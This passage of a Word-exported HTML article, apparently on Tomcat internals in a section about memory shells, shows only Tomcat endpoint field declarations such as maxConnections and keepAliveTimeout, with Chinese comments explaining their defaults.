style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">protected</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> acceptorThreadCount </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">1</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 接收线程的优先级 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">protected</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> acceptorThreadPriority </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Thread</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">NORM_PRIORITY</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 最大连接数nio模式默认10000，Apr模式默认8*1024 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> maxConnections </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">10000</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* keepAlive时间，没有设置则使用soTimeout */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Integer</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> keepAliveTimeout </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 是否开启ssl */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">boolean</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> SSLEnabled </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">false</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* request的keepAlive时间 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> maxKeepAliveRequests </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">100</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* ConnectionHandler */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Handler</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span 